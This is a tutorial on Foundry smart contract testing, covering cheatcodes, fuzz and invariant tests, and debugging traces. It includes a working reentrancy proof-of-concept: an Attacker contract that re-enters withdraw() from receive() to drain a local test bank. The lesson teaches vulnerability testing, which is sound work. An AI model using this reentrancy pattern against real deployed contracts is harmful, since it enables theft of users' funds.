Foundry Testing Deep Dive
Foundry is the gold standard for smart contract testing in security research. Its cheatcodes let you manipulate blockchain state — impersonate any address, jump in time, fork mainnet, mock external contracts — all within a Solidity test. This lesson covers every important cheatcode, fuzz testing, invariant testing, and how to write a complete exploit proof-of-concept test that proves a vulnerability is real and exploitable.
Foundry tests are written in Solidity — the same language as the contracts being tested. This means no context-switching between languages, and you can interact with contracts exactly as an attacker would: at the bytecode level, with full control over every execution parameter. The cheatcode system gives you god-mode access to the EVM that would be impossible in a real transaction.
Test Contract Structure
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol"; // imports Test base + Vm cheatcode interface
import "../src/MyContract.sol";
contract MyContractTest is Test {
MyContract public target;
address alice = makeAddr("alice"); // deterministic test address
address bob = makeAddr("bob");
// setUp() runs BEFORE every test function
function setUp() public {
target = new MyContract();
vm.deal(alice, 100 ether);
vm.deal(bob, 50 ether);
}
// test_*: normal test — must not revert to pass
function test_BasicDeposit() public { ... }
// testFuzz_*: fuzz test — Foundry generates random inputs
function testFuzz_Deposit(uint256 amount) public { ... }
// testFail_*: PASSES if the function REVERTS (inverse assertion)
function testFail_UnauthorizedAccess() public {
vm.prank(alice);
target.adminFunction(); // expected to revert — test passes if it does
}
}Core Cheatcodes — Address and Value Manipulation
// vm.prank(addr): sets msg.sender for the NEXT call only
vm.prank(alice);
target.deposit{value: 1 ether}(); // msg.sender = alice for this call
// After the call, msg.sender reverts to test contract address
// vm.startPrank(addr): sets msg.sender for ALL subsequent calls
vm.startPrank(alice);
target.deposit{value: 1 ether}(); // msg.sender = alice
target.stake(); // msg.sender = alice
target.vote(proposalId); // msg.sender = alice
vm.stopPrank(); // stop impersonation
// vm.prank with tx.origin (for testing tx.origin-based auth):
vm.prank(alice, alice); // msg.sender = alice, tx.origin = alice
// vm.deal: set ETH balance of any address
vm.deal(alice, 1000 ether);
vm.deal(address(target), 0); // drain contract ETH in tests
// vm.label: human-readable names in traces (-vvvv output)
vm.label(address(target), "MyContract");
vm.label(alice, "Alice");Time and Block Cheatcodes
// vm.warp: set block.timestamp to any value
vm.warp(1_700_000_000); // unix timestamp
assertEq(block.timestamp, 1_700_000_000);
// Common pattern: skip forward in time
uint256 lockEnd = block.timestamp + 30 days;
vm.warp(lockEnd + 1); // jump past lock period
target.withdraw(); // should now succeed
// vm.roll: set block.number
vm.roll(19_500_000);
assertEq(block.number, 19_500_000);
// Combined: simulate a full governance timeline
vm.roll(block.number + 1); // advance one block (for snapshot)
target.propose(calldata);
vm.roll(block.number + 50400); // ~7 days of blocks
target.castVote(proposalId, 1);
vm.roll(block.number + 50400);
target.execute(proposalId); // full governance cycle testedRevert and Event Cheatcodes
// vm.expectRevert(): next call must revert (with any reason)
vm.expectRevert();
target.accessControlled();
// vm.expectRevert(bytes4): match custom error selector
vm.expectRevert(MyContract.Unauthorized.selector);
vm.prank(alice);
target.adminOnly();
// vm.expectRevert(abi.encodeWithSelector(...)): match custom error + args
vm.expectRevert(abi.encodeWithSelector(
InsufficientBalance.selector, 100 ether, 50 ether
));
target.withdraw(100 ether);
// vm.expectEmit(checkTopic1, checkTopic2, checkTopic3, checkData):
vm.expectEmit(true, true, false, true);
emit MyContract.Transfer(alice, bob, 100e18); // expected event
vm.prank(alice);
target.transfer(bob, 100e18); // actual call — must emit matching event
// vm.expectRevert with string (legacy OZ pattern):
vm.expectRevert("Ownable: caller is not the owner");Snapshot and Mock Cheatcodes
// vm.snapshot(): save the entire EVM state
uint256 snapshot = vm.snapshot();
// Do some state-changing operations
target.deposit{value: 1 ether}();
target.stake();
// vm.revertTo(): restore state to the snapshot
vm.revertTo(snapshot);
// Now state is back to exactly where it was at snapshot time
// vm.mockCall(): mock an external contract call
// Useful when you don't have the external contract deployed
vm.mockCall(
oracleAddress,
abi.encodeWithSelector(IOracle.getPrice.selector),
abi.encode(uint256(2000e8)) // mock returns $2000
);
uint256 price = target.getLatestPrice(); // uses mock oracle
assertEq(price, 2000e8);
// vm.clearMockedCalls(): remove all active mocks
vm.clearMockedCalls();Fuzz Testing
// Foundry runs fuzz tests 256 times by default (configurable)
// Each run gets random values for all function parameters
function testFuzz_DepositAndWithdraw(uint256 amount) public {
// vm.assume(): skip this input if condition is false
// Foundry will try a different random value instead
vm.assume(amount > 0);
vm.assume(amount <= 100 ether);
vm.deal(alice, amount);
vm.prank(alice);
target.deposit{value: amount}();
assertEq(target.balanceOf(alice), amount);
vm.prank(alice);
target.withdraw(amount);
assertEq(target.balanceOf(alice), 0);
assertEq(alice.balance, amount);
}
// bound(): clamp values to a range (better than vm.assume for numbers)
function testFuzz_BoundedAmount(uint256 rawAmount) public {
// bound() maps any uint256 to [1, 100 ether] range
uint256 amount = bound(rawAmount, 1, 100 ether);
// More efficient than vm.assume — never skips a run
}Invariant Testing
// Invariant tests: Foundry randomly calls ALL public functions
// and checks invariants after each sequence of calls
contract BankInvariantTest is Test {
Bank bank;
function setUp() public {
bank = new Bank();
// targetContract: which contracts to call randomly
targetContract(address(bank));
}
// invariant_*: must hold after ANY sequence of calls
function invariant_ETHBalanceEqualsDeposits() public {
// The contract's ETH balance must always equal total deposits
assertEq(
address(bank).balance,
bank.totalDeposits(),
"ETH balance != total deposits"
);
}
function invariant_NoUserOverdraft() public {
// No user's balance should ever go negative
address[] memory users = bank.getUsers();
for (uint i = 0; i < users.length; i++) {
assertGe(bank.balances(users[i]), 0);
}
}
}Complete Exploit Test: Vulnerable → Exploit → Fixed
contract Attacker {
VulnerableBank immutable bank;
uint256 public stolenAmount;
constructor(VulnerableBank _bank) payable {
bank = _bank;
}
function attack() external {
bank.deposit{value: 1 ether}();
bank.withdraw();
}
// receive() called when bank sends ETH — reenters before state update
receive() external payable {
stolenAmount += msg.value;
if (address(bank).balance >= 1 ether) {
bank.withdraw(); // recursive reentrant call
}
}
}
contract ReentrancyTest is Test {
function test_ReentrancyExploit() public {
VulnerableBank bank = new VulnerableBank();
vm.deal(address(bank), 10 ether); // simulate other users' deposits
Attacker attacker = new Attacker{value: 1 ether}(bank);
attacker.attack();
// Attacker drained the entire bank with 1 ETH deposit
assertGt(attacker.stolenAmount, 1 ether, "exploit failed");
assertEq(address(bank).balance, 0, "bank not drained");
}
}Assertion Helpers and Debug Tools
// Common assertions:
assertEq(a, b); // a == b
assertEq(a, b, "message"); // with failure message
assertGt(a, b); // a > b
assertLt(a, b); // a < b
assertGe(a, b); // a >= b
assertLe(a, b); // a <= b
assertTrue(condition);
assertFalse(condition);
assertApproxEqAbs(a, b, delta); // |a - b| <= delta (for floating point)
assertApproxEqRel(a, b, pct); // relative tolerance (1e18 = 100%)
// console.log inside contract (imports forge-std/console.sol):
import "forge-std/console.sol";
console.log("balance:", balance);
console.logAddress(owner);
console.logBytes32(hash);
// Run tests with full traces:
// forge test --match-test test_ReentrancyExploit -vvvv
// -v = show pass/fail
// -vv = show events
// -vvv = show call traces
// -vvvv = show everything including internal calls
// Gas snapshots for optimization:
// forge snapshot → creates .gas-snapshot file
// forge snapshot --check → fails if gas changedCheatcode Quick-Reference
| Cheatcode | What It Does | Scope | Common Use Case |
|---|---|---|---|
| vm.prank(addr) | Set msg.sender for next call | One call | Simulate user/attacker |
| vm.startPrank(addr) | Set msg.sender persistently | Until stopPrank() | Multi-call user simulation |
| vm.deal(addr, n) | Set ETH balance | Immediate | Fund test accounts |
| vm.warp(ts) | Set block.timestamp | Immediate | Test time-locked functions |
| vm.roll(n) | Set block.number | Immediate | Test block-based logic |
| vm.expectRevert() | Assert next call reverts | Next call | Access control tests |
| vm.expectEmit() | Assert event is emitted | Next call | Event emission tests |
| vm.mockCall() | Mock external call response | Until clearMockedCalls() | Isolated unit tests |
| vm.snapshot() | Save EVM state | Returns uint256 id | Test multiple scenarios |
| vm.store(addr,slot,val) | Write directly to storage slot | Immediate | Set mapping values in tests |
testFail_ functions pass if the entire test reverts — but they don't let you verify the revert reason. vm.expectRevert(selector) is strictly better: it verifies the specific error, not just that something reverted. A test using testFail_ could pass even if the wrong function reverts for the wrong reason. Always prefer vm.expectRevert() with a specific selector for meaningful access control tests.
vm.assume(condition) skips the current fuzz input if the condition is false — Foundry generates another random value and tries again. If too many inputs are rejected (more than 65,535 by default), the test fails with "too many rejections." Use bound(value, min, max) instead — it mathematically maps any uint256 into a valid range without rejection, making fuzz tests much more efficient for bounded numeric inputs.
When a test fails, Foundry traces show raw addresses like 0x0000000000000000000000000000000000000001. Adding vm.label(addr, "Alice") in setUp() transforms all traces for that address to show "Alice" instead. This makes reading -vvvv traces dramatically faster during debugging. Use makeAddr("name") to create labeled addresses upfront with address = makeAddr("name").
Key Takeaways
- Test functions are named
test_*()for normal tests,testFuzz_*()for fuzz, andtestFail_*()for tests that must revert.setUp()runs fresh before each test. vm.prank(addr)impersonates an address for one call;vm.startPrank(addr)persists untilvm.stopPrank(). Use these to simulate different users and attackers.vm.warp(timestamp)andvm.roll(blockNum)let you simulate governance timelines, lock periods, and time-based vulnerabilities without waiting for real blocks.vm.expectRevert(selector)andvm.expectEmit()are essential for verifying that access control fails correctly and events fire with correct values.- Fuzz tests use
bound()to clamp inputs to valid ranges (preferred) orvm.assume()to skip invalid inputs. Run with increased count viaFOUNDRY_FUZZ_RUNS=10000. - Invariant tests have Foundry randomly call all public functions and verify protocol invariants — they find edge cases that targeted unit tests miss.
- Use
-vvvvtraces when a test fails to see the full call chain, which function reverted, and what values were passed at each level.